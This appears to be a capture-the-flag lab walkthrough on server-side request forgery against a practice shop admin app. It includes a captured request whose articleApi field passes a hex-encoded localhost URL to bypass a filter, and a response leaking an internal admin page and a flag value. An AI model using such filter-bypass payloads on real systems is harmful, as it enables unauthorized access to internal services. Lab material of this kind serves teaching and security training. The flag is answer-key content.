

1. Is our security a fortress or a sieve? Let's SSRF and find out!

Following a thorough pentest, security measures were implemented to address known vulnerabilities. What about now, is it secure?

It's time to put our defenses to the test and see if they can weather the storm of cyber threats. Your mission is to assess the effectiveness of these security enhancements and determine whether the system remains susceptible to SSRF attacks.

Even after adding mitigations, this stage remains focused on the SSRF vulnerability within the check reduction functionality. Let's see if our enhancements are enough to secure the system

- Target Application: [ShopAdmin](#)
- Initial Endpoint: `http://web0x08.hbtn/app2/`

Useful instructions:

1. Log into ShopAdmin, it is a shopping website, there is a lot of article.
2. The challenge is about the SSRF vulnerability in `check` reduction functionality.
3. You can click on one article `and` we see that we can do a `check` reduction.
4. Bypass the filter by providing decimal representation of the localhost.
5. This App is Forwarded on Port 3001

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST /app2/check-reduction HTTP/1.1			14	<meta charset="UTF-8" />		
2	Host: web0x08.hbtn			15	<meta name="viewport" content="width=device-width, initial-s		
3	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0			16	<title>Admin Items</title>		
4	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*; q=0.8			17	<link		
5	Accept-Language: en-US,en;q=0.5			18	rel="stylesheet"		
6	Accept-Encoding: gzip, deflate, br			19	href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/cs		
7	Content-Type: application/x-www-form-urlencoded			20	/>		
8	Content-Length: 71			21	<link rel="stylesheet" href="/css/adminstyle.css" />		
9	Origin: http://web0x08.hbtn			22	</head>		
10	Connection: keep-alive			23	<body>		
11	Referer: http://web0x08.hbtn/app2/product			24	<header>		
12	Upgrade-Insecure-Requests: 1			25	<h1>Admin Items</h1>		
13	Priority: u=0, i			26	<nav>		
14	articleApi=http%3A%2F%2F0x7f.0x0.0x0.0x1%3A3001%2Fadmin%2Flist-of-items			27			
15				28	Dashboard		
				29	Items		
				30			
				31	</nav>		
				32	</header>		
				33	<div class="container mt-5">		
				34	<table class="table table-striped">		
				35	<thead>		
				36	<tr>		
				37	<th>ID</th>		
				38	<th>Name</th>		
				39	<th>Description</th>		
				40	<th>Price</th>		
				41	</tr>		
				42	</thead>		
				43	<tbody>		
				44	<tr>		
				45	<td>1</td>		
				46	<td>FLAG 1</td>		
				47	<td>f64234679978109a8df9fa3c7b183c0f</td>		
				48	<td>500</td>		
				49	</tr>		